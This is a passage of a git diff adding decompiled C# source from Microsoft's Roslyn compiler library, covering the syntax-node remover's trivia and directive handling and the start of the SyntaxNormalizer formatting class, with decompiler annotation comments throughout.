invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + if ((_options & 1) != 0) + { + AddResidualTrivia(node.GetLeadingTrivia()); + } + else if ((_options & 0x10) != 0) + { + AddEndOfLine(GetEndOfLine(node.GetLeadingTrivia())); + } + if ((_options & 0xC) != 0) + { + AddDirectives(node, GetRemovedSpan(node.Span, node.FullSpan)); + } + if ((_options & 2) != 0) + { + AddResidualTrivia(node.GetTrailingTrivia()); + } + else if ((_options & 0x10) != 0) + { + AddEndOfLine(GetEndOfLine(node.GetTrailingTrivia())); + } + if ((_options & 0x20) != 0) + { + AddResidualTrivia(SyntaxFactory.TriviaList(SyntaxFactory.ElasticMarker)); + } + } + + private void AddTrivia(SyntaxToken token, SyntaxNode node) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_00d7: Unknown result type (might be due to invalid IL or missing references) + //IL_00dd: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + //IL_00c1: Unknown result type (might be due to invalid IL or missing references) + //IL_00ca: Unknown result type (might be due to invalid IL or missing references) + //IL_00cb: Unknown result type (might be due to invalid IL or missing references) + //IL_00cc: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_00f0: Unknown result type (might be due to invalid IL or missing references) + //IL_00f7: Unknown result type (might be due to invalid IL or missing references) + //IL_00e2: Unknown result type (might be due to invalid IL or missing references) + //IL_010c: Unknown result type (might be due to invalid IL or missing references) + //IL_0113: Unknown result type (might be due to invalid IL or missing references) + //IL_00fc: Unknown result type (might be due to invalid IL or missing references) + //IL_0117: Unknown result type (might be due to invalid IL or missing references) + //IL_011c: Unknown result type (might be due to invalid IL or missing references) + if ((_options & 1) != 0) + { + AddResidualTrivia(((SyntaxToken)(ref token)).LeadingTrivia); + AddResidualTrivia(((SyntaxToken)(ref token)).TrailingTrivia); + AddResidualTrivia(node.GetLeadingTrivia()); + } + else if ((_options & 0x10) != 0) + { + SyntaxTrivia? eolTrivia = GetEndOfLine(((SyntaxToken)(ref token)).LeadingTrivia) ?? GetEndOfLine(((SyntaxToken)(ref token)).TrailingTrivia); + AddEndOfLine(eolTrivia); + } + if ((_options & 0xC) != 0) + { + TextSpan val = ((SyntaxToken)(ref token)).Span; + int start = ((TextSpan)(ref val)).Start; + val = node.Span; + TextSpan span = TextSpan.FromBounds(start, ((TextSpan)(ref val)).End); + val = ((SyntaxToken)(ref token)).FullSpan; + int start2 = ((TextSpan)(ref val)).Start; + val = node.FullSpan; + TextSpan fullSpan = TextSpan.FromBounds(start2, ((TextSpan)(ref val)).End); + AddDirectives(node.Parent, GetRemovedSpan(span, fullSpan)); + } + if ((_options & 2) != 0) + { + AddResidualTrivia(node.GetTrailingTrivia()); + } + else if ((_options & 0x10) != 0) + { + AddEndOfLine(GetEndOfLine(node.GetTrailingTrivia())); + } + if ((_options & 0x20) != 0) + { + AddResidualTrivia(SyntaxFactory.TriviaList(SyntaxFactory.ElasticMarker)); + } + } + + private void AddTrivia(SyntaxNode node, SyntaxToken token) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + //IL_00d0: Unknown result type (might be due to invalid IL or missing references) + //IL_00d7: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Unknown result type (might be due to invalid IL or missing references) + //IL_00c2: Unknown result type (might be due to invalid IL or missing references) + //IL_0109: Unknown result type (might be due to invalid IL or missing references) + //IL_0110: Unknown result type (might be due to invalid IL or missing references) + //IL_00db: Unknown result type (might be due to invalid IL or missing references) + //IL_0114: Unknown result type (might be due to invalid IL or missing references) + //IL_0119: Unknown result type (might be due to invalid IL or missing references) + //IL_00f2: Unknown result type (might be due to invalid IL or missing references) + if ((_options & 1) != 0) + { + AddResidualTrivia(node.GetLeadingTrivia()); + } + else if ((_options & 0x10) != 0) + { + AddEndOfLine(GetEndOfLine(node.GetLeadingTrivia())); + } + if ((_options & 0xC) != 0) + { + TextSpan val = node.Span; + int start = ((TextSpan)(ref val)).Start; + val = ((SyntaxToken)(ref token)).Span; + TextSpan span = TextSpan.FromBounds(start, ((TextSpan)(ref val)).End); + val = node.FullSpan; + int start2 = ((TextSpan)(ref val)).Start; + val = ((SyntaxToken)(ref token)).FullSpan; + TextSpan fullSpan = TextSpan.FromBounds(start2, ((TextSpan)(ref val)).End); + AddDirectives(node.Parent, GetRemovedSpan(span, fullSpan)); + } + if ((_options & 2) != 0) + { + AddResidualTrivia(node.GetTrailingTrivia()); + AddResidualTrivia(((SyntaxToken)(ref token)).LeadingTrivia); + AddResidualTrivia(((SyntaxToken)(ref token)).TrailingTrivia); + } + else if ((_options & 0x10) != 0) + { + SyntaxTrivia? eolTrivia = GetEndOfLine(node.GetTrailingTrivia()) ?? GetEndOfLine(((SyntaxToken)(ref token)).TrailingTrivia); + AddEndOfLine(eolTrivia); + } + if ((_options & 0x20) != 0) + { + AddResidualTrivia(SyntaxFactory.TriviaList(SyntaxFactory.ElasticMarker)); + } + } + + private TextSpan GetRemovedSpan(TextSpan span, TextSpan fullSpan) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + TextSpan result = fullSpan; + if ((_options & 1) != 0) + { + result = TextSpan.FromBounds(((TextSpan)(ref span)).Start, ((TextSpan)(ref result)).End); + } + if ((_options & 2) != 0) + { + result = TextSpan.FromBounds(((TextSpan)(ref result)).Start, ((TextSpan)(ref span)).End); + } + return result; + } + + private void AddDirectives(SyntaxNode node, TextSpan span) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_00bf: Unknown result type (might be due to invalid IL or missing references) + //IL_00c5: Unknown result type (might be due to invalid IL or missing references) + //IL_01af: Unknown result type (might be due to invalid IL or missing references) + //IL_01b4: Unknown result type (might be due to invalid IL or missing references) + if (!node.ContainsDirectives) + { + return; + } + if (_directivesToKeep == null) + { + _directivesToKeep = new HashSet(); + } + else + { + _directivesToKeep.Clear(); + } + foreach (DirectiveTriviaSyntax item in from tr in node.DescendantTrivia(span, (Func)((SyntaxNode n) => n.ContainsDirectives), true) + where ((SyntaxTrivia)(ref tr)).IsDirective + select (DirectiveTriviaSyntax)(object)((SyntaxTrivia)(ref tr)).GetStructure()) + { + if ((_options & 8) != 0) + { + _directivesToKeep.Add((SyntaxNode)(object)item); + } + else if (item.Kind() == SyntaxKind.DefineDirectiveTrivia || item.Kind() == SyntaxKind.UndefDirectiveTrivia) + { + _directivesToKeep.Add((SyntaxNode)(object)item); + } + else if (HasRelatedDirectives(item)) + { + List relatedDirectives = item.GetRelatedDirectives(); + if (!relatedDirectives.All(delegate(DirectiveTriviaSyntax rd) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + TextSpan fullSpan = ((SyntaxNode)rd).FullSpan; + return ((TextSpan)(ref fullSpan)).OverlapsWith(span); + })) + { + foreach (DirectiveTriviaSyntax item2 in relatedDirectives.Where(delegate(DirectiveTriviaSyntax rd) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + TextSpan fullSpan = ((SyntaxNode)rd).FullSpan; + return ((TextSpan)(ref fullSpan)).OverlapsWith(span); + })) + { + _directivesToKeep.Add((SyntaxNode)(object)item2); + } + } + } + if (_directivesToKeep.Contains((SyntaxNode)(object)item)) + { + AddResidualTrivia(SyntaxFactory.TriviaList(((SyntaxNode)item).ParentTrivia), requiresNewLine: true); + } + } + } + + private static bool HasRelatedDirectives(DirectiveTriviaSyntax directive) + { + SyntaxKind syntaxKind = directive.Kind(); + if (syntaxKind - 8548 <= (SyntaxKind)5) + { + return true; + } + return false; + } + } + + internal static TRoot? RemoveNodes(TRoot root, IEnumerable nodes, SyntaxRemoveOptions options) where TRoot : SyntaxNode + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + if (nodes == null) + { + return root; + } + if (nodes.ToArray().Length == 0) + { + return root; + } + SyntaxRemover syntaxRemover = new SyntaxRemover(nodes.ToArray(), options); + SyntaxNode val = syntaxRemover.Visit((SyntaxNode?)(object)root); + SyntaxTriviaList residualTrivia = syntaxRemover.ResidualTrivia; + if (val != null && ((SyntaxTriviaList)(ref residualTrivia)).Count > 0) + { + val = SyntaxNodeExtensions.WithTrailingTrivia(val, ((IEnumerable)(object)val.GetTrailingTrivia()).Concat((IEnumerable)(object)residualTrivia)); + } + return (TRoot)(object)val; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SyntaxNormalizer.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SyntaxNormalizer.cs new file mode 100644 index 0000000..e82f514 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SyntaxNormalizer.cs @@ -0,0 +1,1478 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +internal class SyntaxNormalizer : CSharpSyntaxRewriter +{ + private readonly TextSpan _consideredSpan; + + private readonly int _initialDepth; + + private readonly string _indentWhitespace; + + private readonly bool _useElasticTrivia; + + private readonly SyntaxTrivia _eolTrivia; + + private bool _isInStructuredTrivia; + + private SyntaxToken _previousToken; + + private bool _afterLineBreak; + + private bool _afterIndentation; + + private bool _inSingleLineInterpolation; + + private ArrayBuilder? _indentations; + + private static readonly SyntaxTrivia s_trimmedDocCommentExterior = SyntaxFactory.DocumentationCommentExterior("///"); + + private SyntaxNormalizer(TextSpan consideredSpan, int initialDepth, string indentWhitespace, string eolWhitespace, bool useElasticTrivia) + : base(visitIntoStructuredTrivia: true) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + _consideredSpan = consideredSpan; + _initialDepth = initialDepth; + _indentWhitespace = indentWhitespace; + _useElasticTrivia = useElasticTrivia; + _eolTrivia = (useElasticTrivia ? SyntaxFactory.ElasticEndOfLine(eolWhitespace) : SyntaxFactory.EndOfLine(eolWhitespace)); + _afterLineBreak = true; + } + + internal static TNode Normalize(TNode node, string indentWhitespace, string eolWhitespace, bool useElasticTrivia = false) where TNode : SyntaxNode + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + SyntaxNormalizer syntaxNormalizer = new SyntaxNormalizer(((SyntaxNode)node).FullSpan, GetDeclarationDepth((SyntaxNode?)(object)node), indentWhitespace, eolWhitespace, useElasticTrivia); + TNode result = (TNode)(object)syntaxNormalizer.Visit((SyntaxNode?)(object)node); + syntaxNormalizer.Free(); + return result; + } + + internal static SyntaxToken Normalize(SyntaxToken token, string indentWhitespace, string eolWhitespace, bool useElasticTrivia = false) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + SyntaxNormalizer syntaxNormalizer = new SyntaxNormalizer(((SyntaxToken)(ref token)).FullSpan, GetDeclarationDepth(token), indentWhitespace, eolWhitespace, useElasticTrivia); + SyntaxToken result = syntaxNormalizer.VisitToken(token); + syntaxNormalizer.Free(); + return result; + } + + internal static SyntaxTriviaList Normalize(SyntaxTriviaList trivia, string indentWhitespace, string eolWhitespace, bool useElasticTrivia = false) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + SyntaxNormalizer syntaxNormalizer = new SyntaxNormalizer(((SyntaxTriviaList)(ref trivia)).FullSpan, GetDeclarationDepth(((SyntaxTriviaList)(ref trivia)).Token), indentWhitespace, eolWhitespace, useElasticTrivia); + SyntaxTriviaList triviaList = trivia; + SyntaxTrivia val = ((SyntaxTriviaList)(ref trivia)).ElementAt(0); + SyntaxTriviaList result = syntaxNormalizer.RewriteTrivia(triviaList, GetDeclarationDepth(((SyntaxTrivia)(ref val)).Token), isTrailing: false, indentAfterLineBreak: false, mustHaveSeparator: false, 0); + syntaxNormalizer.Free(); + return result; + } + + private void Free() + { + if (_indentations != null) + { + _indentations.Free(); + } + } + + public override SyntaxToken VisitToken(SyntaxToken token) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + if (token.Kind() == SyntaxKind.None || (((SyntaxToken)(ref token)).IsMissing && ((SyntaxToken)(ref token)).FullWidth == 0)) + { + return token; + } + try + { + SyntaxToken result = token; + int declarationDepth = GetDeclarationDepth(token); + result = ((SyntaxToken)(ref result)).WithLeadingTrivia(RewriteTrivia(((SyntaxToken)(ref token)).LeadingTrivia, declarationDepth, isTrailing: false, NeedsIndentAfterLineBreak(token), mustHaveSeparator: false, 0)); + SyntaxToken nextRelevantToken = GetNextRelevantToken(token); + _afterLineBreak = IsLineBreak(token); + _afterIndentation = false; + int lineBreaksAfter = LineBreaksAfter(token, nextRelevantToken); + bool mustHaveSeparator = NeedsSeparator(token, nextRelevantToken); + result = ((SyntaxToken)(ref result)).WithTrailingTrivia(RewriteTrivia(((SyntaxToken)(ref token)).TrailingTrivia, declarationDepth, isTrailing: true, indentAfterLineBreak: false, mustHaveSeparator, lineBreaksAfter)); + return result; + } + finally + { + _previousToken = token; + } + } + + private SyntaxToken GetNextRelevantToken(SyntaxToken token) + { + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken nextToken = ((SyntaxToken)(ref token)).GetNextToken((Func)((SyntaxToken t) => SyntaxToken.NonZeroWidth(t) || t.Kind() == SyntaxKind.EndOfDirectiveToken), (Func)((SyntaxTrivia t) => t.Kind() == SyntaxKind.SkippedTokensTrivia)); + if (((TextSpan)(ref _consideredSpan)).Contains(((SyntaxToken)(ref nextToken)).FullSpan)) + { + return nextToken; + } + return default(SyntaxToken); + } + + private SyntaxTrivia GetIndentation(int count) + { + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + count = Math.Max(count - _initialDepth, 0); + int num = count + 1; + if (_indentations == null) + { + _indentations = ArrayBuilder.GetInstance(num); + } + else + { + _indentations.EnsureCapacity(num); + } + for (int i = _indentations.Count; i <= count; i++) + { + string text = ((i == 0) ? "" : (((object)_indentations[i - 1]/*cast due to constrained. prefix*/).ToString() + _indentWhitespace)); + _indentations.Add(_useElasticTrivia ? SyntaxFactory.ElasticWhitespace(text) : SyntaxFactory.Whitespace(text)); + } + return _indentations[count]; + } + + private static bool NeedsIndentAfterLineBreak(SyntaxToken token) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return !token.IsKind(SyntaxKind.EndOfFileToken); + } + + private int LineBreaksAfter(SyntaxToken currentToken, SyntaxToken nextToken) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + //IL_024d: Unknown result type (might be due to invalid IL or missing references) + //IL_020e: Unknown result type (might be due to invalid IL or missing references) + //IL_0130: Unknown result type (might be due to invalid IL or missing references) + //IL_010f: Unknown result type (might be due to invalid IL or missing references) + //IL_0118: Unknown result type (might be due to invalid IL or missing references) + //IL_0119: Unknown result type (might be due to invalid IL or missing references) + //IL_01b2: Unknown result type (might be due to invalid IL or missing references) + //IL_01b3: Unknown result type (might be due to invalid IL or missing references) + //IL_0270: Unknown result type (might be due to invalid IL or missing references) + //IL_0293: Unknown result type (might be due to invalid IL or missing references) + //IL_016b: Unknown result type (might be due to invalid IL or missing references) + //IL_02b6: Unknown result type (might be due to invalid IL or missing references) + //IL_0178: Unknown result type (might be due to invalid IL or missing references) + //IL_02d9: Unknown result type (might be due to invalid IL or missing references) + //IL_02f9: Unknown result type (might be due to invalid IL or missing references) + //IL_0319: Unknown result type (might be due to invalid IL or missing references) + //IL_0339: Unknown result type (might be due to invalid IL or missing references) + //IL_035b: Unknown result type (might be due to invalid IL or missing references) + //IL_039e: Unknown result type (might be due to invalid IL or missing references) + //IL_03a5: Unknown result type (might be due to invalid IL or missing references) + if (_inSingleLineInterpolation) + { + return 0; + } + if (currentToken.IsKind(SyntaxKind.EndOfDirectiveToken)) + { + return 1; + } + if (nextToken.Kind() == SyntaxKind.None) + { + return 0; + } + if (_isInStructuredTrivia) + { + return 0; + } + if (nextToken.IsKind(SyntaxKind.CloseBraceToken)) + { + SyntaxNode parent = ((SyntaxToken)(ref currentToken)).Parent; + if (IsAccessorListWithoutAccessorsWithBlockBody((parent != null) ? parent.Parent : null)) + { + return 0; + } + SyntaxNode parent2 = ((SyntaxToken)(ref nextToken)).Parent; + bool flag = ((parent2 is InitializerExpressionSyntax || parent2 is AnonymousObjectCreationExpressionSyntax) ? true : false); + if (flag && !IsSingleLineInitializerContext(((SyntaxToken)(ref nextToken)).Parent)) + { + return 1; + } + } + switch (currentToken.Kind()) + { + case SyntaxKind.None: + return 0; + case SyntaxKind.OpenBraceToken: + return LineBreaksAfterOpenBrace(currentToken); + case SyntaxKind.FinallyKeyword: + return 1; + case SyntaxKind.CloseBraceToken: + return LineBreaksAfterCloseBrace(currentToken, nextToken); + case SyntaxKind.CloseParenToken: + if (((SyntaxToken)(ref currentToken)).Parent is PositionalPatternClauseSyntax) + { + return 0; + } + if (nextToken.IsKind(SyntaxKind.OpenBraceToken) && IsInitializerInSingleLineContext(((SyntaxToken)(ref nextToken)).Parent)) + { + return 0; + } + if ((!(((SyntaxToken)(ref currentToken)).Parent is StatementSyntax) || ((SyntaxToken)(ref nextToken)).Parent == ((SyntaxToken)(ref currentToken)).Parent) && nextToken.Kind() != SyntaxKind.OpenBraceToken && nextToken.Kind() != SyntaxKind.WhereKeyword) + { + return 0; + } + return 1; + case SyntaxKind.CloseBracketToken: + if (((SyntaxToken)(ref currentToken)).Parent is AttributeListSyntax && !(((SyntaxToken)(ref currentToken)).Parent.Parent is ParameterSyntax)) + { + return 1; + } + break; + case SyntaxKind.SemicolonToken: + return LineBreaksAfterSemicolon(currentToken, nextToken); + case SyntaxKind.CommaToken: + { + SyntaxNode parent2 = ((SyntaxToken)(ref currentToken)).Parent; + bool flag = ((parent2 is InitializerExpressionSyntax || parent2 is AnonymousObjectCreationExpressionSyntax) ? true : false); + if (flag && !IsSingleLineInitializerContext(((SyntaxToken)(ref nextToken)).Parent)) + { + return 1; + } + parent2 = ((SyntaxToken)(ref currentToken)).Parent; + flag = ((parent2 is EnumDeclarationSyntax || parent2 is SwitchExpressionSyntax) ? true : false); + return flag ? 1 : 0; + } + case SyntaxKind.ElseKeyword: + return (nextToken.Kind() != SyntaxKind.IfKeyword) ? 1 : 0; + case SyntaxKind.ColonToken: + if (((SyntaxToken)(ref currentToken)).Parent is LabeledStatementSyntax || ((SyntaxToken)(ref currentToken)).Parent is SwitchLabelSyntax) + { + return 1; + } + break; + case SyntaxKind.SwitchKeyword: + if (((SyntaxToken)(ref currentToken)).Parent is SwitchExpressionSyntax) + { + return 1; + } + break; + } + if ((nextToken.IsKind(SyntaxKind.FromKeyword) && ((SyntaxToken)(ref nextToken)).Parent.IsKind(SyntaxKind.FromClause)) || (nextToken.IsKind(SyntaxKind.LetKeyword) && ((SyntaxToken)(ref nextToken)).Parent.IsKind(SyntaxKind.LetClause)) || (nextToken.IsKind(SyntaxKind.WhereKeyword) && ((SyntaxToken)(ref nextToken)).Parent.IsKind(SyntaxKind.WhereClause)) || (nextToken.IsKind(SyntaxKind.JoinKeyword) && ((SyntaxToken)(ref nextToken)).Parent.IsKind(SyntaxKind.JoinClause)) || (nextToken.IsKind(SyntaxKind.JoinKeyword) && ((SyntaxToken)(ref nextToken)).Parent.IsKind(SyntaxKind.JoinIntoClause)) || (nextToken.IsKind(SyntaxKind.OrderByKeyword) && ((SyntaxToken)(ref nextToken)).Parent.IsKind(SyntaxKind.OrderByClause)) || (nextToken.IsKind(SyntaxKind.SelectKeyword) && ((SyntaxToken)(ref nextToken)).Parent.IsKind(SyntaxKind.SelectClause)) || (nextToken.IsKind(SyntaxKind.GroupKeyword) && ((SyntaxToken)(ref nextToken)).Parent.IsKind(SyntaxKind.GroupClause))) + { + return 1; + } + switch (nextToken.Kind()) + { + case SyntaxKind.OpenBraceToken: + return LineBreaksBeforeOpenBrace(nextToken); + case SyntaxKind.CloseBraceToken: + return LineBreaksBeforeCloseBrace(nextToken); + case SyntaxKind.ElseKeyword: + case SyntaxKind.FinallyKeyword: + return 1; + case SyntaxKind.OpenBracketToken: + if (!(((SyntaxToken)(ref nextToken)).Parent is AttributeListSyntax) || ((SyntaxToken)(ref nextToken)).Parent.Parent is ParameterSyntax) + { + return 0; + } + return 1; + case SyntaxKind.WhereKeyword: + return (((SyntaxToken)(ref currentToken)).Parent is TypeParameterListSyntax) ? 1 : 0; + default: + return 0; + } + } + + private static bool IsAccessorListWithoutAccessorsWithBlockBody(SyntaxNode? node) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (node is AccessorListSyntax accessorListSyntax) + { + return accessorListSyntax.Accessors.All((Func)((AccessorDeclarationSyntax a) => a.Body == null)); + } + return false; + } + + private static bool IsAccessorListFollowedByInitializer([NotNullWhen(true)] SyntaxNode? node) + { + if (node is AccessorListSyntax { Parent: PropertyDeclarationSyntax parent }) + { + return parent.Initializer != null; + } + return false; + } + + private static int LineBreaksBeforeOpenBrace(SyntaxToken openBraceToken) + { + SyntaxNode parent = ((SyntaxToken)(ref openBraceToken)).Parent; + if (parent.IsKind(SyntaxKind.Interpolation) || parent is PropertyPatternClauseSyntax || IsAccessorListWithoutAccessorsWithBlockBody(parent) || IsInitializerInSingleLineContext(parent)) + { + return 0; + } + return 1; + } + + private static int LineBreaksBeforeCloseBrace(SyntaxToken closeBraceToken) + { + SyntaxNode parent = ((SyntaxToken)(ref closeBraceToken)).Parent; + if (parent.IsKind(SyntaxKind.Interpolation) || parent is PropertyPatternClauseSyntax || IsInitializerInSingleLineContext(parent)) + { + return 0; + } + return 1; + } + + private static int LineBreaksAfterOpenBrace(SyntaxToken openBraceToken) + { + SyntaxNode parent = ((SyntaxToken)(ref openBraceToken)).Parent; + if (parent is PropertyPatternClauseSyntax || parent.IsKind(SyntaxKind.Interpolation) || IsAccessorListWithoutAccessorsWithBlockBody(parent) || IsInitializerInSingleLineContext(parent)) + { + return 0; + } + return 1; + } + + private static int LineBreaksAfterCloseBrace(SyntaxToken currentToken, SyntaxToken nextToken) + { + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_00c8: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode parent = ((SyntaxToken)(ref currentToken)).Parent; + bool flag = ((parent is SwitchExpressionSyntax || parent is PropertyPatternClauseSyntax) ? true : false); + bool flag2 = flag || parent.IsKind(SyntaxKind.Interpolation) || ((parent != null) ? parent.Parent : null) is AnonymousFunctionExpressionSyntax || 